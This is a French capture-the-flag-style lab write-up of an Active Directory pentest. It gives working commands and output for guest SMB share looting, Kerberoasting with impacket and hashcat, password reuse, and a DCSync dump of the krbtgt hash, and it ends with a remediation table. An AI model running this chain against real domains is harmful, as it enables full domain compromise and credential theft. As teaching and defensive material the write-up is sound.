Lab MartiniAD : Fuite SMB, Kerberoasting et DCSync sur un Domaine Active Directory
Pentest interne black box d'un domaine Active Directory : fuite de credentials via un partage SMB accessible aux invités, réutilisation de mot de passe vers un compte Domain Admin, Kerberoasting d'un compte de service et extraction du hash krbtgt via DCSync.
Contexte et Objectifs
| Champ | Détail |
|---|---|
| Plateforme | HackSmarter |
| Lien | Accéder au Lab |
| Cible | DC01.DRY.MARTINI.BARS, 10.1.239.230 |
| OS | Windows Server 2025 (Build 26100) |
| Domaine | DRY.MARTINI.BARS |
| Type | Internal black box pentest, aucun credential fourni |
| Difficulté | Facile |
Scénario : Martini Bars, une entreprise de boissons alcoolisées, a récemment subi une brèche corporate. L'équipe conformité et risque exige un pentest sur une de leurs filiales. L'équipe HackSmarter est autorisée à effectuer un pentest interne en boîte noire. Le client fournit un accès VPN au réseau interne, sans aucun credential.
Kill chain :
Accès réseau sans credentials
│
▼
RustScan → ports AD complets, DC01.DRY.MARTINI.BARS identifié
│
▼
SMB anonyme + guest acceptés → partage "notes" en lecture/écriture
│
▼
notes.txt → credentials mprice
│
▼
Énumération utilisateurs → Kerberoasting sur ATHENA_SVC
│
▼
Hash TGS cracké → 1dirtymartini
│
▼
Réutilisation : athena.t0 / 1dirtymartini → Pwn3d! (Domain Admin)
│
▼
DCSync → hash krbtgt
1. Reconnaissance
rustscan -b 500 -a 10.1.239.230 -- -sC -sV -Pn
Output :
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds Windows Server (SMB2/SMB3)
464/tcp open kpasswd5 Microsoft Windows Kerberos kpasswd
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped LDAPS (SSL)
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3389/tcp open ms-wbt-server Microsoft Terminal Services (RDP)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open mc-nmf .NET Message Framing
[+] Host script results:
| rdp-ntlm-info: Domain: DRY.MARTINI.BARS | Host: DC01.DRY.MARTINI.BARS
| smb2-security-mode: Message signing enabled but not required
|_ clock-skew: 0s
Analyse :
La combinaison DNS (53), Kerberos (88), LDAP (389/3268), SMB (445), kpasswd (464) et RPC over HTTP (593) est la signature classique d'un Contrôleur de Domaine Active Directory. Le script rdp-ntlm-info confirme directement le nom du domaine et du DC : DRY.MARTINI.BARS et DC01.DRY.MARTINI.BARS.
Deux détails importants :
smb2-security-mode: Message signing enabled but not required : la signature SMB n'est pas obligatoire, ce qui ouvrirait la porte à du NTLM Relay si l'occasion se présente plus tard.
clock-skew: 0s : l'horloge est synchronisée avec le DC, condition nécessaire pour que les tickets Kerberos soient acceptés.
On commence par tester l'accès SMB sans credentials, comme sur tout AD.
Pour structurer la méthodologie tout au long de ce lab, on suit la mind map d'Orange Cyberdefense pour le pentest AD : mindmap_ad_dark_classic_2025. Elle couvre l'essentiel des étapes d'énumération et d'attaque sur un domaine.
2. Énumération Interne
2.1 Connexion Anonyme et Invité
nxc smb 10.1.239.230 -u '' -p ''
SMB 10.1.239.230 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64
(name:DC01) (domain:DRY.MARTINI.BARS) (signing:False)
SMB 10.1.239.230 445 DC01 [+] DRY.MARTINI.BARS\:
La connexion anonyme passe. On teste également le compte guest :
nxc smb 10.1.239.230 -u 'guest' -p ''
SMB 10.1.239.230 445 DC01 [+] DRY.MARTINI.BARS\:
Les deux fonctionnent. On liste les partages dans les deux cas.
2.2 Énumération des Partages
Avec session anonyme :
nxc smb 10.1.239.230 -u '' -p '' --shares
SMB 10.1.239.230 445 DC01 Share Permissions Remark
SMB 10.1.239.230 445 DC01 ----- ----------- ------
SMB 10.1.239.230 445 DC01 ADMIN$ Remote Admin
SMB 10.1.239.230 445 DC01 C$ Default share
SMB 10.1.239.230 445 DC01 IPC$ Remote IPC
SMB 10.1.239.230 445 DC01 NETLOGON Logon server share
SMB 10.1.239.230 445 DC01 notes
SMB 10.1.239.230 445 DC01 SYSVOL Logon server share
Un partage non standard apparaît : notes. Aucune permission n'est listée en session anonyme. On retente avec guest.
Avec session invitée :
nxc smb 10.1.239.230 -u 'guest' -p '' --shares
SMB 10.1.239.230 445 DC01 Share Permissions Remark
SMB 10.1.239.230 445 DC01 ----- ----------- ------
SMB 10.1.239.230 445 DC01 ADMIN$ Remote Admin
SMB 10.1.239.230 445 DC01 C$ Default share
SMB 10.1.239.230 445 DC01 IPC$ READ Remote IPC
SMB 10.1.239.230 445 DC01 NETLOGON Logon server share
SMB 10.1.239.230 445 DC01 notes READ,WRITE
SMB 10.1.239.230 445 DC01 SYSVOL Logon server share
Le compte guest a un accès READ,WRITE sur le partage notes. C'est notre point d'entrée.
2.3 Exploration du Partage notes
smbclient //dc01.dry.martini.bars/notes -U 'guest'

smb: \> get notes.txt
getting file \notes.txt of size 129 as notes.txt
cat notes.txt
- Order more gin for lakeside
- Look for an engagement ring
- Check that notes works from Linux Mint
creds
mprice:*martini*
Un fichier de notes personnelles laissé sur un partage accessible aux invités contient des credentials en clair :
mprice : *martini*
3. Énumération avec Credentials
Avec mprice:*martini* en main, plusieurs pistes s'ouvrent : cartographier le domaine avec BloodHound, rechercher les utilisateurs, vérifier les certificats (ADCS), ou tenter un Kerberoasting.
3.1 Tentative BloodHound
BloodHound est un outil d'analyse graphique qui cartographie les relations au sein d'un Active Directory pour révéler visuellement des chemins d'attaque (Attack Paths) vers le contrôle total du domaine.
Son fonctionnement se déroule en deux étapes :
-
Collecte (Ingestion) : des outils comme NetExec, SharpHound ou RustHound interrogent l'annuaire LDAP pour extraire utilisateurs, groupes, sessions actives et permissions (ACL). Le résultat est exporté en JSON.
-
Analyse (Visualisation) : les fichiers JSON sont importés dans une base de données orientée graphe (Neo4j). BloodHound calcule alors automatiquement le chemin le plus court entre un compte compromis et les privilèges Domain Admin.
Toutes les tentatives de collecte BloodHound ont échoué dans ce lab. On se rabat sur l'énumération SMB déjà réalisée pour obtenir la liste des utilisateurs non intégrés (non builtin) :
Administrator
krbtgt
mprice
athena.t0
ATHENA_SVC
Deux noms ressortent : athena.t0, un compte utilisateur classique, et ATHENA_SVC, un compte de service. La présence d'un compte de service avec un nom proche d'un utilisateur est un signal intéressant pour la suite.
4. Kerberoasting
Comprendre l'Attaque
Le Kerberoasting est une technique post-exploitation incontournable en environnement Active Directory. Elle permet à un attaquant disposant d'un compte utilisateur standard de récupérer les hashes de mots de passe de comptes de service possédant un SPN (Service Principal Name), afin de les craquer hors ligne.
Le mécanisme :
Dans Kerberos, lorsqu'un utilisateur veut accéder à un service, par exemple une base MSSQL, il demande au KDC un TGS (Ticket Granting Service). Ce ticket est chiffré avec la clé secrète, c'est-à-dire le hash du mot de passe, du compte qui exécute le service, et non celui de l'utilisateur demandeur.
Le point critique : Kerberos ne vérifie pas si l'utilisateur a réellement le droit d'accéder au service avant de délivrer le TGS. N'importe quel compte authentifié du domaine peut demander un TGS pour n'importe quel SPN existant.
Utilisateur authentifié (mprice)
│
│ "Donne-moi un TGS pour le service ATHENA_SVC"
▼
KDC (DC01)
│
│ Chiffre le TGS avec le hash du mot de passe d'ATHENA_SVC
│ (sans vérifier si mprice a le droit d'utiliser ce service)
▼
TGS retourné à mprice
│
│ La partie chiffrée du TGS est crackable hors ligne
▼
hashcat → mot de passe d'ATHENA_SVC
Si le compte de service utilise un mot de passe faible, ce qui est fréquent puisque ces comptes sont souvent créés une fois pour toutes et jamais modifiés, le hash tombe rapidement face à une wordlist.
4.1 Demande des Tickets TGS
impacket-GetUserSPNs -request -dc-ip 10.1.239.230 DRY.MARTINI.BARS/mprice:'*martini*'
Cette commande liste les comptes avec un SPN et aussi récupère les hashes TGS de ces comptes là. Le format -request formate directement la sortie au format Hashcat.
Output :
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
----------------------------- ---------- ---------------------------------------- -------------------------- ---------
HTTP/athena.dry.martini.bar ATHENA_SVC CN=Remote Management Users,CN=Builtin,... 2026-01-20 19:20:32.856622 <never>
[-] CCache file is not found. Skipping...
$krb5tgs$23$*ATHENA_SVC$DRY.MARTINI.BARS$DRY.MARTINI.BARS/ATHENA_SVC*$3062aa70f2f1d4af...9eb590
Analyse du résultat :
Le compte cible est ATHENA_SVC. Le hash commence par $krb5tgs$23$ : le chiffre 23 indique du RC4-HMAC, un algorithme de chiffrement plus ancien.
Le compte appartient au groupe Remote Management Users. Si on parvient à récupérer son mot de passe en clair, on pourra potentiellement se connecter à distance via WinRM sur la machine athena.dry.martini.bar.
On sauvegarde le hash dans hash.txt.
4.2 Craquage avec Hashcat
hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
| Option | Rôle |
|---|---|
-m 13100 | Mode Kerberos 5, TGS-REP, etype 23 (RC4-HMAC) |
-a 0 | Attaque par dictionnaire |
hash.txt | Hash TGS récupéré |
rockyou.txt | Wordlist de référence |
Output :
$krb5tgs$23$*ATHENA_SVC$DRY.MARTINI.BARS$DRY.MARTIN...9eb590:1dirtymartini
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Time.Started.....: Wed Jun 3 17:38:28 2026 (12 secs)
Speed.#01........: 1142.9 kH/s
Progress.........: 13025280/14344385 (90.80%)
Recovered........: 1/1 (100.00%) Digests (total)
Craqué en 12 secondes, à 90,8% de la wordlist parcourue.
ATHENA_SVC : 1dirtymartini
5. Réutilisation de Mot de Passe : athena.t0
L'Hypothèse
Dans la liste des utilisateurs récupérée précédemment, on a athena.t0 ET ATHENA_SVC. Les noms sont très proches. La pratique de réutiliser le mot de passe d'un compte de service pour le compte utilisateur associé, ou inversement, est fréquente. On teste l'hypothèse.
nxc smb 10.1.239.230 -u 'athena.t0' -p '1dirtymartini'
SMB 10.1.239.230 445 DC01 [+] DRY.MARTINI.BARS\athena.t0:1dirtymartini (Pwn3d!)
Connexion réussie, et le tag Pwn3d! apparaît.
Comprendre le Tag Pwn3d!
NetExec affiche (Pwn3d!) lorsque le compte testé possède des droits d'administration locale complets sur la machine cible, ici le Contrôleur de Domaine lui-même. Concrètement, NetExec vérifie en arrière-plan que ce compte peut s'authentifier sur des services privilégiés.
athena.t0 : 1dirtymartini
Confirmation par les Partages
nxc smb 10.1.239.230 -u 'athena.t0' -p '1dirtymartini' --shares --smb-timeout 30
SMB 10.1.239.230 445 DC01 [+] DRY.MARTINI.BARS\athena.t0:1dirtymartini (Pwn3d!)
SMB 10.1.239.230 445 DC01 Share Permissions Remark
SMB 10.1.239.230 445 DC01 ----- ----------- ------
SMB 10.1.239.230 445 DC01 ADMIN$ READ,WRITE Remote Admin
SMB 10.1.239.230 445 DC01 C$ READ,WRITE Default share
SMB 10.1.239.230 445 DC01 IPC$ READ Remote IPC
SMB 10.1.239.230 445 DC01 NETLOGON READ,WRITE Logon server share
SMB 10.1.239.230 445 DC01 notes READ,WRITE
SMB 10.1.239.230 445 DC01 SYSVOL READ,WRITE Logon server share
L'accès READ,WRITE sur ADMIN$, C$ et SYSVOL confirme le tag Pwn3d! : athena.t0 est Domain Admin. À partir d'ici, le domaine entier est compromis.
6. DCSync : Extraction du Hash krbtgt
Avec un compte Domain Admin, on peut dumper l'ensemble des hashes du domaine via DCSync. Dans le cadre de ce lab, l'objectif est précisément le hash du compte krbtgt.
Comprendre DCSync
Dans un AD multi-DC, les contrôleurs de domaine se répliquent mutuellement via le protocole DRSUAPI. Un DC légitime peut demander à un autre DC de lui fournir les secrets de l'annuaire pour se synchroniser. Un compte disposant des droits "Replicating Directory Changes", ce qui est le cas par défaut pour les Domain Admins, peut imiter ce comportement et demander la réplication d'un objet précis, ici krbtgt.
impacket-secretsdump automatise cette demande sans jamais toucher au fichier NTDS.dit sur disque : l'attaque est entièrement réseau.
Exécution
impacket-secretsdump -just-dc-user krbtgt -dc-ip 10.1.239.230 \
DRY.MARTINI.BARS/athena.t0:'1dirtymartini'@10.1.239.230
| Option | Rôle |
|---|---|
-just-dc-user krbtgt | Cible uniquement le compte krbtgt, plutôt qu'un dump complet |
-dc-ip | IP du DC pour les requêtes DRSUAPI |
DRY.MARTINI.BARS/athena.t0:'1dirtymartini' | Credentials Domain Admin compromis |
Output :
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:22ebc290e67668629c8d0812662a9c51:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:b2679af0c2283eff6926eda9fcdac99c7bc2b118158df3934a33d5f4f50baed3
krbtgt:aes128-cts-hmac-sha1-96:bfb79c68ae71254e572fd65dd34f5b5c
krbtgt:0x17:22ebc290e67668629c8d0812662a9c51
[*] Cleaning up...
krbtgt NT hash : 22ebc290e67668629c8d0812662a9c51
[!WARNING] Avec ce hash en main, la prochaine étape logique serait de forger un Golden Ticket via
impacket-ticketer, garantissant une persistance totale sur le domaine, indépendante de tout changement de mot de passe utilisateur. Dans ce lab, l'objectif s'arrête à l'extraction du hash, qui constitue déjà la preuve de compromission complète du domaine.
7. Conclusion et Remédiation
Kill Chain Complète
1. RustScan → DC01.DRY.MARTINI.BARS identifié, signing:False noté
2. SMB anonyme/guest → partage "notes" accessible en READ,WRITE
3. notes.txt → credentials mprice exposés en clair
4. Énumération users → ATHENA_SVC repéré comme compte de service
5. Kerberoasting → hash TGS d'ATHENA_SVC récupéré
6. Hashcat → mot de passe cracké en 12s : 1dirtymartini
7. Réutilisation → athena.t0:1dirtymartini → Pwn3d! (Domain Admin)
8. DCSync → hash NTLM de krbtgt extrait
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
| Accès SMB invité | Le compte guest accède en écriture à un partage interne | Désactiver le compte guest sur tous les serveurs via la politique Accounts: Guest account status = Disabled |
| Partage notes | Credentials stockés en clair dans un fichier accessible | Sensibiliser les utilisateurs, auditer régulièrement les partages réseau pour détecter des fichiers contenant des mots de passe |
| Kerberoasting | ATHENA_SVC possède un mot de passe faible présent dans rockyou | Utiliser des mots de passe de plus de 25 caractères générés aléatoirement pour tous les comptes de service, ou migrer vers des Managed Service Accounts (gMSA) |
| Chiffrement RC4 (etype 23) | Permet un craquage hors ligne rapide | Désactiver RC4 pour Kerberos via GPO et forcer AES256 uniquement |
| Réutilisation de mot de passe | Le mot de passe du compte de service correspond au compte utilisateur associé | Interdire explicitement la réutilisation de mots de passe entre comptes de service et comptes utilisateurs |
| Compte Domain Admin trop exposé | athena.t0 dispose de droits d'administration locale sur le DC via des credentials kerberoastables | Appliquer le principe de moindre privilège : les comptes Domain Admin ne doivent jamais être liés à un SPN ni utilisés pour des services applicatifs |
| krbtgt | Hash extrait via DCSync, persistance Golden Ticket possible | Surveiller les requêtes DRSUAPI anormales, faire tourner le mot de passe krbtgt deux fois de suite en cas d'incident confirmé |
[!NOTE] La leçon principale de ce lab : la chaîne complète part d'une simple note texte oubliée sur un partage en accès invité. Aucune vulnérabilité logicielle n'a été exploitée. Le chemin entier, fuite de credentials, Kerberoasting, réutilisation de mot de passe, DCSync, repose sur des erreurs humaines et organisationnelles. C'est exactement le type de scénario qu'un audit de conformité doit révéler avant qu'un véritable attaquant ne le fasse.
Writeup rédigé par Zcook
